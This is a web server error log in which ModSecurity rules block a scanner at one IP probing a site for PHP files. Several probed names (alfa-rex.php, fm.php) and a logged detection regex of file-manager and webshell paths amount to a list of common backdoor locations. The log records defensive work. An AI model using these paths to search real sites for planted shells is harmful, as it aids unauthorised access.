[Sat Dec 06 20:16:04.608902 2025] [:error] [pid 61215:tid 61227] [client 4.147.185.30:64036] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTQehOOOZ8nTCBYuI-xM2QAAAAg"]
[Sat Dec 06 20:16:04.656456 2025] [:error] [pid 61215:tid 61236] [client 4.147.185.30:60844] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aTQehOOOZ8nTCBYuI-xM2gAAABE"]
[Sat Dec 06 20:16:04.698958 2025] [:error] [pid 1727:tid 1742] [client 4.147.185.30:60807] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aTQehMD83luYT37-ZaUN8AAAAk0"]
[Sat Dec 06 20:16:04.745682 2025] [:error] [pid 35622:tid 35671] [client 4.147.185.30:60826] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aTQehCOSP_9DVLgFwI7CWgAAAZQ"]
[Sat Dec 06 20:16:04.784430 2025] [:error] [pid 61215:tid 61238] [client 4.147.185.30:64021] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aTQehOOOZ8nTCBYuI-xM2wAAABM"]
[Sat Dec 06 20:16:04.824189 2025] [:error] [pid 61215:tid 61229] [client 4.147.185.30:64904] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/fm.php"] [unique_id "aTQehOOOZ8nTCBYuI-xM3AAAAAo"]
[Sat Dec 06 20:16:04.857538 2025] [:error] [pid 61215:tid 61220] [client 4.147.185.30:64002] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/fm.php"] [unique_id "aTQehOOOZ8nTCBYuI-xM3gAAAAE"]
[Sat Dec 06 20:16:04.893611 2025] [:error] [pid 1727:tid 1736] [client 4.147.185.30:9625] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/fm.php"] [unique_id "aTQehMD83luYT37-ZaUN8QAAAkc"]
[Sat Dec 06 20:16:04.940185 2025] [:error] [pid 35591:tid 35603] [client 4.147.185.30:9602] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/fm.php"] [unique_id "aTQehIbmw-7bFvTxc9MaagAAAQo"]
[Sat Dec 06 20:16:04.972914 2025] [:error] [pid 35591:tid 35596] [client 4.147.185.30:9251] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aTQehIbmw-7bFvTxc9MabAAAAQM"]
[Sat Dec 06 20:16:05.005068 2025] [:error] [pid 48399:tid 48414] [client 4.147.185.30:64018] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aTQehejNPOrIshd8Ewe9QwAAAc0"]
[Sat Dec 06 20:16:05.035864 2025] [:error] [pid 61303:tid 61309] [client 4.147.185.30:9255] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aTQehdwK_fe00OH7zy6ahwAAAMM"]
[Sat Dec 06 20:16:05.068026 2025] [:error] [pid 35591:tid 35609] [client 4.147.185.30:9660] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aTQehYbmw-7bFvTxc9MabQAAARA"]
[Sat Dec 06 20:16:05.101345 2025] [:error] [pid 61215:tid 61230] [client 4.147.185.30:64951] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aTQeheOOZ8nTCBYuI-xM3wAAAAs"]
[Sat Dec 06 20:16:05.158901 2025] [:error] [pid 35622:tid 35660] [client 4.147.185.30:9611] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aTQehSOSP_9DVLgFwI7CWwAAAYk"]
[Sat Dec 06 20:16:05.228378 2025] [:error] [pid 35591:tid 35610] [client 4.147.185.30:60851] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aTQehYbmw-7bFvTxc9MabgAAARE"]
[Sat Dec 06 20:16:05.292877 2025] [:error] [pid 35622:tid 35670] [client 4.147.185.30:9647] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aTQehSOSP_9DVLgFwI7CXAAAAZM"]
[Sat Dec 06 20:16:05.335698 2025] [:error] [pid 61303:tid 61313] [client 4.147.185.30:9225] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex.php"] [unique_id "aTQehdwK_fe00OH7zy6aiQAAAMc"]
[Sat Dec 06 20:16:05.374062 2025] [:error] [pid 35591:tid 35617] [client 4.147.185.30:60824] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex.php"] [unique_id "aTQehYbmw-7bFvTxc9MacAAAARg"]
[Sat Dec 06 20:16:05.438125 2025] [:error] [pid 61215:tid 61239] [client 4.147.185.30:9259] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex.php"] [unique_id "aTQeheOOZ8nTCBYuI-xM4AAAABQ"]
[Sat Dec 06 20:16:05.491105 2025] [:error] [pid 35622:tid 35675] [client 4.147.185.30:9638] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex.php"] [unique_id "aTQehSOSP_9DVLgFwI7CXQAAAZg"]
[Sat Dec 06 20:16:05.590114 2025] [:error] [pid 35591:tid 35605] [client 4.147.185.30:9653] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aTQehYbmw-7bFvTxc9MacQAAAQw"]
[Sat Dec 06 20:16:05.656219 2025] [:error] [pid 35622:tid 35668] [client 4.147.185.30:9629] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aTQehSOSP_9DVLgFwI7CXgAAAZE"]
[Sat Dec 06 20:16:05.695327 2025] [:error] [pid 61303:tid 61325] [client 4.147.185.30:9642] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aTQehdwK_fe00OH7zy6aigAAANI"]
[Sat Dec 06 20:16:05.742907 2025] [:error] [pid 61215:tid 61232] [client 4.147.185.30:64020] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aTQeheOOZ8nTCBYuI-xM4QAAAA0"]
[Sat Dec 06 20:16:05.833114 2025] [:error] [pid 35622:tid 35653] [client 4.147.185.30:9252] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aTQehSOSP_9DVLgFwI7CXwAAAYI"]
[Sat Dec 06 20:16:05.948337 2025] [:error] [pid 35622:tid 35659] [client 4.147.185.30:9253] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aTQehSOSP_9DVLgFwI7CYAAAAYg"]
[Sat Dec 06 20:16:06.036918 2025] [:error] [pid 35591:tid 35606] [client 4.147.185.30:9233] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aTQehobmw-7bFvTxc9MacwAAAQ0"]
[Sat Dec 06 20:16:06.129689 2025] [:error] [pid 61303:tid 61326] [client 4.147.185.30:60836] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aTQehtwK_fe00OH7zy6aiwAAANM"]
[Sat Dec 06 20:16:06.209068 2025] [:error] [pid 61303:tid 61306] [client 4.147.185.30:60847] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hoot.php"] [unique_id "aTQehtwK_fe00OH7zy6ajAAAAMA"]
[Sat Dec 06 20:16:06.319026 2025] [:error] [pid 61303:tid 61323] [client 4.147.185.30:60804] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hoot.php"] [unique_id "aTQehtwK_fe00OH7zy6ajQAAANA"]
[Sat Dec 06 20:16:06.356518 2025] [:error] [pid 35622:tid 35669] [client 4.147.185.30:9617] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hoot.php"] [unique_id "aTQehiOSP_9DVLgFwI7CYQAAAZI"]
[Sat Dec 06 20:16:06.438684 2025] [:error] [pid 61216:tid 61248] [client 4.147.185.30:64006] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hoot.php"] [unique_id "aTQehjHlXXVdP5ewviUkUAAAAEI"]
[Sat Dec 06 20:16:06.526012 2025] [:error] [pid 1838:tid 1852] [client 4.147.185.30:64029] [client 4.147.185.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aTQehi5zgnu67Yo7vrYU9gAAAoY"]
[Sat Dec 06 20:16:06.570911 2025] [:error] [pid 52809:tid 52835] [client 4.147.185.30:60806] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aTQehurRwgsmpIJQ2qZ-xQAAAhg"]
[Sat Dec 06 20:16:06.608409 2025] [:error] [pid 52809:tid 52832] [client 4.147.185.30:9274] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aTQehurRwgsmpIJQ2qZ-xgAAAhU"]
[Sat Dec 06 20:16:06.652275 2025] [:error] [pid 35622:tid 35654] [client 4.147.185.30:60827] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aTQehiOSP_9DVLgFwI7CYgAAAYM"]
[Sat Dec 06 20:16:06.692227 2025] [:error] [pid 35622:tid 35655] [client 4.147.185.30:60828] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aTQehiOSP_9DVLgFwI7CYwAAAYQ"]
[Sat Dec 06 20:16:06.729344 2025] [:error] [pid 61303:tid 61329] [client 4.147.185.30:9278] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aTQehtwK_fe00OH7zy6ajgAAANY"]
[Sat Dec 06 20:16:06.772358 2025] [:error] [pid 61303:tid 61318] [client 4.147.185.30:9234] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aTQehtwK_fe00OH7zy6ajwAAAMw"]
[Sat Dec 06 20:16:06.833295 2025] [:error] [pid 35622:tid 35664] [client 4.147.185.30:64926] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aTQehiOSP_9DVLgFwI7CZAAAAY0"]
[Sat Dec 06 20:16:06.881292 2025] [:error] [pid 35622:tid 35663] [client 4.147.185.30:9254] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aTQehiOSP_9DVLgFwI7CZQAAAYw"]
[Sat Dec 06 20:16:06.923390 2025] [:error] [pid 61303:tid 61330] [client 4.147.185.30:9618] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file4.php"] [unique_id "aTQehtwK_fe00OH7zy6akAAAANc"]
[Sat Dec 06 20:16:06.958604 2025] [:error] [pid 61303:tid 61319] [client 4.147.185.30:60808] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file4.php"] [unique_id "aTQehtwK_fe00OH7zy6akQAAAM0"]
[Sat Dec 06 20:16:06.996130 2025] [:error] [pid 61215:tid 61221] [client 4.147.185.30:60805] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file4.php"] [unique_id "aTQehuOOZ8nTCBYuI-xM4wAAAAI"]
[Sat Dec 06 20:16:07.070670 2025] [:error] [pid 35591:tid 35615] [client 4.147.185.30:64028] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file4.php"] [unique_id "aTQeh4bmw-7bFvTxc9MaeAAAARY"]
[Sat Dec 06 20:16:07.116965 2025] [:error] [pid 35622:tid 35667] [client 4.147.185.30:9267] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z.php"] [unique_id "aTQehyOSP_9DVLgFwI7CZgAAAZA"]
[Sat Dec 06 20:16:07.204907 2025] [:error] [pid 61215:tid 61235] [client 4.147.185.30:9636] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z.php"] [unique_id "aTQeh-OOZ8nTCBYuI-xM5AAAABA"]
[Sat Dec 06 20:16:07.339204 2025] [:error] [pid 52809:tid 52828] [client 4.147.185.30:9246] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z.php"] [unique_id "aTQeh-rRwgsmpIJQ2qZ-xwAAAhE"]
[Sat Dec 06 20:16:07.459767 2025] [:error] [pid 52809:tid 52824] [client 4.147.185.30:64007] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z.php"] [unique_id "aTQeh-rRwgsmpIJQ2qZ-yAAAAg0"]
[Sat Dec 06 20:16:07.515844 2025] [:error] [pid 1838:tid 1865] [client 4.147.185.30:9239] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aTQehy5zgnu67Yo7vrYU-AAAApM"]
[Sat Dec 06 20:16:07.551302 2025] [:error] [pid 1838:tid 1856] [client 4.147.185.30:9626] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aTQehy5zgnu67Yo7vrYU-QAAAoo"]
[Sat Dec 06 20:16:07.594684 2025] [:error] [pid 1838:tid 1866] [client 4.147.185.30:9270] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aTQehy5zgnu67Yo7vrYU-gAAApQ"]
[Sat Dec 06 20:16:07.633341 2025] [:error] [pid 61215:tid 61242] [client 4.147.185.30:60839] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aTQeh-OOZ8nTCBYuI-xM5QAAABc"]
[Sat Dec 06 20:16:07.703932 2025] [:error] [pid 1727:tid 1731] [client 4.147.185.30:9610] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aTQeh8D83luYT37-ZaUN8wAAAkI"]
[Sat Dec 06 20:16:07.776117 2025] [:error] [pid 35591:tid 35600] [client 4.147.185.30:60820] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aTQeh4bmw-7bFvTxc9MaewAAAQc"]
